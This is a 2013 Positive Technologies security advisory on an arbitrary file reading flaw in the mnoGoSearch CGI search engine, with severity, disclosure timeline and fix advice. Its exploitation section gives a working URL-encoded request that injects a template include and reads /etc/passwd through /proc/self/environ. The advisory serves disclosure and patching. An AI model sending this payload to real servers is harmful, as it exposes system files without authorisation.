(PT-2013-17) Positive Technologies Security Advisory
Arbitrary Files Reading in mnoGoSearch

Vulnerable software

mnoGoSearch
Version: 3.3.12 and earlier

Application link:
http://www.mnogosearch.org/

Severity level

Severity level: High
Impact: Arbitrary Files Reading
Access Vector: Remote

CVSS v2:
Base Score: 7.8
Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)

CVE: not assigned

Software description

mnoGoSearch is a universal Intranet and Internet search engine.

Vulnerability description

Positive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.

Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for an application running in CGI mode can be used to set page template path variable "d". Generating a template file on the server and specifying it in the variable "d" can result in Arbitrary Files Reading via <!INCLUDE CONTENT="URI"> template structure.  
---[ Exploitation example]
The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be used as a template.
<!--top-->
<!INCLUDE CONTENT="file:/etc/passwd">
<!--/top-->

http://host/cgi-bin/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ

How to fix

Update your software up to the latest version.

Advisory status

15.02.2013 - Vendor gets vulnerability details
01.03.2013 - Vendor releases fixed version and details
05.03.2013 - Public disclosure

Credits

The vulnerabilities has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2013-17
http://www.mnogosearch.org/bugs/index.php?id=4818

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.